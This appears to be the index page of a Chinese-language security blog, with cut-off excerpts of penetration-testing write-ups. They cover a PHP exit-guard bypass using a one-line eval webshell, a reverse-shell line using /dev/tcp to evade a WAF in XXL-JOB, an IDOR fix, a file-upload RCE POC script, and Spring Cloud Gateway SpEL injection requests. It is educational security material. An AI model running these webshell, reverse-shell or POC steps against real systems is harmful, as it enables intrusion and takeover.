Equinox 个人博客
场景在写入PHP文件的操作时,在文件最前面添加<?php exit();?>,使得就算用户写入了一句话木马也无法调用执行。通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。一般采用这种形式:file_put_contents($content, '<?php exit();'.$content);如果插入一句话木马:<?php exit();?>//PHP解释器执行到这就会中断,导致后续一句话木马不能执行。 <?php @eval($_POST['shell']);?>漏洞源码<?php $content = '<?php exit();?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); ?>代码审计将用户输入的含有PHP代码的数据拼接死亡exit之后写入文件并保存,同时文件的名称也是由用户指定的。若要注入一句话木马,就需要绕过死亡exit。base64绕过我们可以利用filte
起因最近在渗透测试的过程中遇到了一种特别的WAF。在XXL-JOB的分布式任务管理项目,功能中支持自定义的Java代码进行执行,但是这个代码执行功能有一个很恶心的WAF功能,他会删除<后面的所有东西,还会删除>前面的所有东西。问题众所周知,绝大部分的反弹shell的代码中是包含了<>这两个符号的。例如:bash -i >& /dev/tcp/192.168.0.1/4444 0>&1这也就导致了通过常规的反弹Shell语句变为不可能。这里就想到了两个思路来进行反弹Shell。编码对Payload进行编码,使用base64进行加密之后,在执行时对其进行解密,从而绕过WAF。public class shell { public static void main(String[] args) { Process p; try { final Base64.Decoder decoder = Base64.getDecoder(new String(decoder.decode
场景角色客户端:负责与用户交互,发送特定的数据包向服务器请求数据。服务端:响应客户端的请求,对客户端的身份进行识别。第三方接口服务器:响应特定的请求并返回响应的数据,无鉴权操作。逻辑架构一个应用客户端调用了第三方的数据服务器的数据,第三方数据服务器无鉴权操作,导致攻击者能通过修改数据包中的数据对数据服务器进行遍历。在不修改第三方数据服务器的情况下修复此漏洞。问题由于第三方数据服务器不会对来访者的身份进行验证,只会在提供正确的id后响应id对应的数据,一旦攻击者知晓id的生成规律,即可通过脚本遍历响应的数据。修复方案将客户端直接向第三方数据服务器请求敏感数据,修改为客户端通过服务端向第三方请求敏感数据,并在请求的过程中对客户端的权限进行验证。
原理文件上传点存在一个白名单,在白名单之外的内容会被添加后缀并base64编码文件内容,编码后的文件会获得一个id,通过webmain/task/runt/qcloudCosAction.php中的qcloudCosAction类的run方法,提供对应的id即可复原后缀和内容,从而导致上传的文件被解析。危害攻击者可获得系统的完整访问权限。POC & EXPimport requests session = requests.session() url_pre = 'http://x.x.x.x/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=
原理启用和暴露Gateway Actuator端点时,可用恶意的SpEL表达式被嵌入路由路径,在刷新路由时导致RCE。参考文章:https://blog.csdn.net/m0_61506558/article/details/126914956影响范围Spring Cloud Gateway < 3.1.1Spring Cloud Gateway < 3.1.7Spring Cloud Gateway 2.x危害远程攻击者可利用该漏洞可以发出恶意的请求,允许在远程主机上执行任意远程命令。POC & EXP手工# 1. 请求http://x.x.x.x:x/actuator,确认端口开启 # 2. 新建一个路由,注入恶意的SpELl表达式,返回状态码应为201 Created POST /actuator/gateway/routes/test HTTP/1.1 Host: x.x.x.x:x Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
Equinox
一个乐于分享的网安人